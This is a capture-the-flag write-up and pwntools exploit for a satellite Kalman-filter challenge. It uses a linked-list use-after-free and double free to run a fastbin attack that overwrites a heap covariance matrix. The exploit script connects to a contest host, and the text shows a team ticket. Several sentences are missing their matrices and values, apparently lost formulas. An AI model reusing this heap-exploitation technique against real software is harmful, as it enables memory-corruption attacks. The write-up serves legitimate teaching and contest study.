# Kalman At Me Bro

**Category**: “Pure Pwnage”

**Sumamry**: Use fastbin attack to modify the covariance matrix of the Kalman Filter employed in the implemented simulation.

## Description

In this challenge, an Kalman Filter is implemented to estimate the relative position of a satellite with respect to a space station. The estimate is derived from a given set of movements and the position readings coming from a sensor. The objective is to achieve a final estimated relative position that is within 10 meters of the space station along x,y,z axes, with a valid state for the Kalman filter and high confidence on the estimate (small covariance matrix).

## Binary Reversing

### Used types

struct PositionMeasurement {  
 uint64\_t time;  
 uint64\_t x;  
 uint64\_t y;  
 uint64\_t z;  
};  
  
struct PositionUpdate {  
 void \*vtable;  
 \_BYTE pad[40];  
 \_BYTE matrix[144];  
 double \*variance\_arr;  
 \_BYTE pad2[8];  
};  
  
struct Link {  
 PositionMeasurement pos;  
 struct Link \*prev;  
 struct Link \*next;  
};  
  
struct LinkedList {  
 Link \*head;  
 Link \*tail;  
};  
  
struct User {  
 PositionUpdate pos\_update;  
 LinkedList linked\_list;  
 \_BYTE measurements\_vec[40];  
};

### Functionalities implemented in the binary

When the binary is started we are greeted with the following menu:

1: Add measurement  
2: Remove first measurement  
3: Remove last measurement  
4: List measurements  
5: Run simulation  
Choice>

Internally a struct User is created, this will be used throughout the program:

int main(int argc, const char \*\*argv) {  
 ...  
 User::User(&user)  
 ...  
}  
  
void User::User(User \*this) {  
 PositionUpdate::PositionUpdate(&this->pos\_update);  
 LinkedList<PositionMeasurement>::LinkedList(&this->linked\_list);  
 std::vector<AccelerationMeasurement,std::allocator<AccelerationMeasurement>>::vector(this->measurements\_vec);  
 User::loadAccels(this);  
 User::loadPositions(this);  
 PositionUpdate::setVariance(&this->pos\_update, 100.0, 100.0, 100.0, 10.0, 10.0, 10.0);  
}

#### 1: Add measurement

When we add a measurement we are asked for X,Y,Z and the time:

1: Add measurement  
2: Remove first measurement  
3: Remove last measurement  
4: List measurements  
5: Run simulation  
Choice>  
1  
Enter new measurement. X,Y,Z are uint64 fixed point numbers. Time is usec counts.  
Time (US)>  
10  
X>  
20  
Y>  
30  
Z>  
40

From these values a PositionMeasurement struct is created and then added to the linked list linked\_list of the user struct.

unsigned \_\_int64 User::addMeasurement(User \*this) {  
 ...  
 LinkedList<PositionMeasurement>::addBack(&this->linked\_list, &measurement);  
 ...  
}

#### 2: Remove first measurement

Option 2 allows us to remove the first element from the head of the linked list (linked\_list):

void LinkedList<PositionMeasurement>::popFront(LinkedList \*list) {  
 Link \*head;  
  
 head = list->head;  
 if (list->head) {  
 list->head = list->head->next;  
 if (list->head)  
 list->head->prev = NULL;  
 if (head)  
 operator delete(head);  
 }  
}

#### 3: Remove last measurement

Option 3 allows us to remove the first element from the tail of the linked list (linked\_list):

void LinkedList<PositionMeasurement>::popBack(LinkedList \*list) {  
 Link \*cur;  
  
 cur = list->tail;  
 if (cur) {  
 list->tail = list->tail->prev;  
 if (list->tail)  
 list->tail->next = NULL;  
 cur->next = NULL;  
 cur->prev = NULL;  
 if (cur)  
 operator delete(cur);  
 }  
}

#### 4: List measurements

Option 4 allows us to list all the measurements and print their values (time, x, y, z).

void User::listMeasurement(User \*this) {  
 bool is\_not\_null;  
 unsigned \_\_int64 i;  
 Link \*pos\_measurement;  
  
 is\_not\_null = 1;  
 i = 0;  
 puts(" Time (us), X, Y, Z");  
 while (is\_not\_null) {  
 pos\_measurement = LinkedList<PositionMeasurement>::getIndex(&this->linked\_list, i);  
 if ( pos\_measurement )  
 User::printMeasurment(this, i, &pos\_measurement->pos);  
 ++i;  
 is\_not\_null = (pos\_measurement != NULL);  
 }  
}

### Kalman Filters Explained

Kalman filters are used to estimate the position of an object, combining the effect of measurements by sensors and the commands that are given to actuators. In this case, the filter receives information from two sources: acceleration readings and position readings. The accelerations are constant between executions and we have no control over them. On the other hand, we can influence the state of the kalman filter as we have control on the position readings.

Both positions and accelerations are three-dimensional with an associated timestamp. The simulation loop steps forward in time from one acceleration reading to the next, terminating after they are finished. Before applying the effect of the acceleration, the program checks if the next position in the list of readings has a timestamp lower than the acceleration that is about to be processed, in that case, the state of the filter is updated with the information provided by the positional reading, then propagated to the timestamp of the acceleration. At that point, the acceleration is applied to the filter and the simulation continues.

As we have control on the positional readings, we can feed fake measurements to the filter to bring the estimate close to the station, however, the accuracy of the sensor is too low to allow us to steer the estimate to the position we need with sufficient accuracy (the magnitude of the covariance matrix describing the sensor is too high)

### Vulnerability

The struct LinkedList linked\_list holds a pointer to the head and the tail of the linked list. When using option 2 and 3 the elements of the linked lists are freed and removed starting from the head or the tail. When the list only contains one element, head and tail both point to the same Link struct. When removing the head or the tail from such linked list the other pointer is not updated and this will later cause a uaf/double free.

Example:

head = A  
tail = A

If now we pop from the front:

head = NULL  
tail = A

tail now points to a freed Link struct. (a pop back now would cause a double free).

Similarly if we pop from the back:

head = A  
tail = NULL

head now points to a freed Link struct (a pop front now would cause a double free).

When printing the linked list the list is walked starting from the head pointer, so to get an info leak we want this case:

head = A  
tail = NULL

Using these primitives we used a fastbin attack to obtain an arbitrary write on the heap

### Fastbin attack pseudocode

# The list initially has 11 elements  
# remove them all starting from the tail of the linked list  
for \_ in range(11):  
 remove\_last\_measurement()  
  
# At this point the head pointer is freed, we can get an heap leak  
heap\_leak = list\_measurements()[0][0]  
  
# This add will overewrite the UAFd head,  
# fixing the list  
add\_measurement(0x1337, 0, 0, 0)  
# List : A <-> A, and 6 elements in 0x40 tcache  
  
# Drain tcache  
for i in range(8):  
 add\_measurement(u64(p8(0x41+i)\*8), 0, 0, 0)  
  
# Fill tcache  
for \_ in range(8):  
 remove\_last\_measurement()  
# List: A <-> A, and 0x40 tcache is full  
  
remove\_first\_measurement()  
# List: NULL <-> A (free)  
  
for i in range(7):  
 add\_measurement(u64(p8(0x41+i)\*8), 0, 0, 0)  
# now 0x40 tcache is empty  
  
add\_measurement(u64(p8(0x41+i)\*8), 0, 0, 0)  
# List: NULL <-> A <-> ... (7) ... <-> A  
  
for i in range(7):  
 add\_measurement(u64(p8(0x41+i)\*8), 0, 0, 0)  
# List: NULL <-> A <-> ... (7) ... <-> A <-> ... (7)  
  
for i in range(7):  
 remove\_last\_measurement()  
# List: NULL <-> A <-> ... (7) ... <-> A, and tcache 0x40 is full  
  
remove\_last\_measurement()  
# NULL <-> A (free) <-> ... (7) ...  
  
for i in range(7):  
 remove\_last\_measurement()  
# NULL <-> A (free)  
  
remove\_last\_measurement()  
# double free fastbin A  
# NULL <-> NULL  
  
for i in range(7):  
 add\_measurement(u64(p8(0x41+i)\*8), 0, 0, 0)  
# drain tcache 0x40  
  
# Allocate A, overwrite its next pointer  
target = 0x4141414141414141  
add\_measurement(target, 0, 0, 0)  
  
# consume tcache so we can consume fastbins  
for i in range(7):  
 add\_measurement(u64(p8(i+1)\*8), u64(b"X"\*8), 0, u64(b"Z"\*8))  
  
# Consume 1 pad chunk from fastbin  
add\_measurement(0, 0, 0, 0) # pad  
  
# next 0x40 fastbin alloc will end up at 0x4141414141414141  
  
# pwndbg> bins  
# ...  
# fastbins  
# 0x20: 0x0  
# 0x30: 0x0  
# 0x40: 0x4141414141414141 ('AAAAAAAA')  
# 0x50: 0x0  
# 0x60: 0x0  
# 0x70: 0x0  
# 0x80: 0x0  
# ...

## Pwning the Kalman Filter

Now that we have control over the forward pointer of the 0x40 fastbin, the next step is to determine which pointer to place there. As explained earlier, we have control over the positional readings, but the sensor is not accurate enough, so we can use the vulnerability to alter the accuracy characteristic of the sensor to give more weights to our measures.

During the challenge startup, the User::User() constructor initializes the variance\_arr array of doubles for the PositionUpdate object associated with the user. This array is the covariance matrix of the position sensor.

This matrix is initialized to

by the PositionUpdate::setVariance method, called inside User::User().

After inserting a breakpoint into PositionUpdate::setVariance, we observe that the covariance matrix is stored in the heap and initialized before the simulation and it’s never modified after that. With the base address of the heap already leaked, we can calculate the memory address of the covariance matrix and place it in the 0x40 fastbin.

After initializing the covariance matrix, it is possible to inspect the memory using gdb to obtain the layout of the chunk where it is stored.

heap\_base + 0x11e90: 0x0000000000000000 0x0000000000000000  
heap\_base + 0x11ea0: 0x0000000000000000 0x0000000000000041  
heap\_base + 0x11eb0: 0x4059000000000000 0x4059000000000000  
heap\_base + 0x11ec0: 0x4059000000000000 0x4024000000000000  
heap\_base + 0x11ed0: 0x4024000000000000 0x4024000000000000  
heap\_base + 0x11ee0: 0x0000000000000000 0x00000000000001e1

This chunk contains the double precision floating point representation of 100 (0x4059000000000000) and 10 (0x4024000000000000).

Using the fastbin attack that was previously employed, it is possible to modify the values in the covariance matrix. This allows to give measures with the accuracy that we choose, enabling us to heavily affect the simulation. To carry out the fastbin attack successfully, we need to place the address of something that resembles a 0x40 sized chunk in the 0x40 fastbin. Since the chunk storing the covariance matrix has a size of 0x40, it can be placed in the 0x40 fastbin. Specifically, we insert the address heap\_base + 0x11e90 into the 0x40 fastbin.

Being the covariance matrix:

by allocating two additional position measurements, it is possible to place arbitrary values in and , while storing the forward and backward pointers of the 0x40 fastbin in , , and . When interpreted using floating point representation, these values are close to zero.

We put in the value 0, with a resulting covariance matrix of

The zeros along the diagonal for the x and y coordinates and the extremely small value for the z coordinate, make the sensor behave almost as ground truth, moving the estimate for the position almost exactly to where we put the reading.

## Poisoning measurements to make the satellite closer to the space station

In the final step of the exploitation, the position values stored in memory are modified to bring the satellite closer to the space station.

The User::run(User \*this) function is responsible for running the simulation. By examining the function, it becomes clear that the simulation processes each acceleration measurement provided in the accels.bin file. The file contains a set of accelerations from timestamp 0 to timestamp 100.9 seconds, with each acceleration separated by an interval of 0.1 seconds.

The simulation algorithm only processes a position measurement if it precedes the currently processed acceleration. Otherwise, the algorithm only propagates using the state and accelerations.

However, it is important to note that the simulation algorithm considers the positions stored in the LinkedList of measurements in ascending order of timestamp.

// Get the head element of LinkedList  
Front = LinkedList<PositionMeasurement>::getFront(&this->positions\_linked\_list, 0LL);  
// ...  
// Simulation code  
// ...  
if (CurrentAcceleration.Time <= Front.Time) {  
 // ...  
 // Propagate the current result  
 // ...  
}  
else {  
 // ...  
 // Use the position to update the simulation state  
 // ...  
 LinkedList<PositionMeasurement>::popFront(&this->positions\_linked\_list);  
 if ( LinkedList<PositionMeasurement>::getFront(&this->positions\_linked\_list, 0LL) )  
 Front = LinkedList<PositionMeasurement>::getFront(&this->positions\_linked\_list, 0LL);  
}

The pseudocode indicates that the LinkedList of positions is only iterated when the current acceleration has a lower timestamp than the current position. By adding a series of positional readings with a timestamp close to the end of the simulation at the head of the LinkedList, the simulation will proceed using only the acceleration up to that point. Then, thanks to the extremely small covariance matrix, the positional readings can deceive the Kalman filter placing the estimate to where we need it, with high reported accuracy.

Thankfully, we have control over the head of the LinkedList while draining the tcache 0x40. We simply need to drain the tcache by inserting measurements with a timestamp close to the final acceleration, which occurs at 100000999 microseconds. The resulting measurement list will appear like this:

Raw Measurement 0: 100000999 0 0 0  
Raw Measurement 1: 100000999 0 0 0  
Raw Measurement 2: 100000999 0 0 0  
Raw Measurement 3: 100000999 0 0 0  
Raw Measurement 4: 100000999 0 0 0  
Raw Measurement 5: 100000999 0 0 0  
Raw Measurement 6: 100000999 0 0 0  
Raw Measurement 7: 3735928559 3648368.206055 3468143.733398 3468144.206055  
Raw Measurement 8: 0 0.063477 0.000000 0.000000  
Raw Measurement 9: 0 0.063477 0.000000 0.000000

Running the simulation with these position values, we obtain a final covariance matrix of

and a final estimated position of .

To ensure that the final position satisfies the 10-meter constraint from the space station, it is necessary to drain the tcache with the following position measurement: .

This did the trick, giving us a final position estimate of and the same final covariance matrix, at the end of the simulation.

So, we got the flag!

## Exploit script

#!/usr/bin/env python3  
from pwn import \*  
#import ipdb  
  
# exe = ELF("./Kalman\_patched")  
# libc = ELF("./libc-2.31.so")  
  
# context.binary = exe  
# context.log\_level = 'warning'  
  
def conn():  
 if args.GDB:  
 r = remote('localhost', 2007)  
 input('wait for gdb to attach')  
 elif args.REMOTE:  
 r = remote("kalman.quals2023-kah5Aiv9.satellitesabove.me", 5300)  
 r.sendlineafter(b"please:\n", b"ticket{yankee725474mike4:GPYXYVILP60gKGJ1cc\_gpGhXmFSaJh9uwelxoeiMoPAPH84JrU4Sp4EsjVnd\_U9xVg}")  
 return r  
  
def add\_measurement(time, x, y, z):  
 r.sendline(b"1")  
 r.recvuntil(b"Time (US)>\n")  
 r.sendline(b"%ld" % time)  
 r.recvuntil(b"X>\n")  
 r.sendline(b"%ld" % x)  
 r.recvuntil(b"Y>\n")  
 r.sendline(b"%ld" % y)  
 r.recvuntil(b"Z>\n")  
 r.sendline(b"%ld" % z)  
 r.recvuntil(b"Choice>\n")  
  
  
def add\_measurement\_raw(time, x, y, z):  
 r.sendline(b"1")  
 r.recvuntil(b"Time (US)>\n")  
 r.sendline(time)  
 r.recvuntil(b"X>\n")  
 r.sendline(x)  
 r.recvuntil(b"Y>\n")  
 r.sendline(y)  
 r.recvuntil(b"Z>\n")  
 r.sendline(z)  
 r.recvuntil(b"Choice>\n")  
  
def remove\_first\_measurement():  
 r.sendline(b"2")  
 r.recvuntil(b"Choice>\n")  
  
def remove\_last\_measurement():  
 r.sendline(b"3")  
 r.recvuntil(b"Choice>\n")  
  
def list\_measurements():  
 measurements = []  
 r.sendline(b"4")  
 data = r.recvuntil(b"Choice>\n")  
 for l in data.split(b"\n"):  
 if not b"Raw Measurement" in l:  
 continue  
 print(l)  
 data = l.split(b":")[1].strip().split(b" ")  
 print(data)  
 measurements.append([int(data[0])] + [float(x) for x in data[1:]])  
 return measurements  
  
  
def poison\_covariance\_matrix(heap\_start):  
 # first add will overewrite the UAFd head, so we are good  
 add\_measurement(0x4141414141414141, 0, 0, 0)  
 # A <-> A (6 elements in 0x40 tcache)  
  
 for i in range(8):  
 add\_measurement(u64(p8(0x41+i)\*8), 0, 0, 0)  
 for \_ in range(8):  
 remove\_last\_measurement()  
 # A <-> A (0x40 tcache full)  
  
 remove\_first\_measurement()  
 # NULL <-> A (free)  
  
 for i in range(7):  
 add\_measurement(u64(p8(0x41+i)\*8), 0, 0, 0)  
 # now tcache is empty  
 add\_measurement(u64(p8(0x41+i)\*8), 0, 0, 0)  
 # NULL <-> A <-> ... (7) ... <-> A  
  
 for i in range(7):  
 add\_measurement(u64(p8(0x41+i)\*8), 0, 0, 0)  
 # NULL <-> A <-> ... (7) ... <-> A <-> ... (7)  
  
 for i in range(7):  
 remove\_last\_measurement()  
 # (tcache 0x40 full)  
 # NULL <-> A <-> ... (7) ... <-> A  
  
 remove\_last\_measurement()  
 # NULL <-> A (free) <-> ... (7) ... ?  
  
 for i in range(7):  
 remove\_last\_measurement()  
 # NULL <-> A (free) ?  
  
 remove\_last\_measurement()  
 # double free fastbin A ?  
 # NULL <-> NULL  
  
 for i in range(7):  
 add\_measurement(100000999, 34000,22000, 3000)  
 # drain tcache 0x40  
  
 # Arbitrary write with fastbin attack  
 add\_measurement(heap\_start + 0x11e90, 0, 0, 0)  
 # first fastbin (A)  
  
 for i in range(7):  
 add\_measurement(90, u64(b"Z"\*8), u64(b"X"\*8), 0)  
 # take 7 tcache  
  
 add\_measurement(0xdeadbeef, 0xdeadc0d3, 0xd3adbeef, 0xd3adc0d3) # place tcache inside an unsorted  
  
 add\_measurement(u64(struct.pack('<d', 0.0)), 0x41, u64(struct.pack('<d', 0.0)), u64(struct.pack('<d', 0.0)))  
 add\_measurement(u64(struct.pack('<d', 0.0)), 0x41, u64(struct.pack('<d', 0.0)), u64(struct.pack('<d', 0.0))) # alloc  
  
  
def main():  
 global r  
 r = conn()  
  
 r.recvuntil(b"Choice>\n")  
  
 # heap leak  
 for \_ in range(11):  
 remove\_last\_measurement()  
  
 heap\_leak = list\_measurements()[0][0]  
  
  
 heap\_init\_offset = 0x14b40  
 heap\_start = heap\_leak - heap\_init\_offset  
 log.warning("heap base : 0x%x", heap\_start)  
 poison\_covariance\_matrix(heap\_start)  
 # Run simulation  
 r.sendline(b"5")  
  
 r.interactive()  
  
if \_\_name\_\_ == "\_\_main\_\_":  
 main()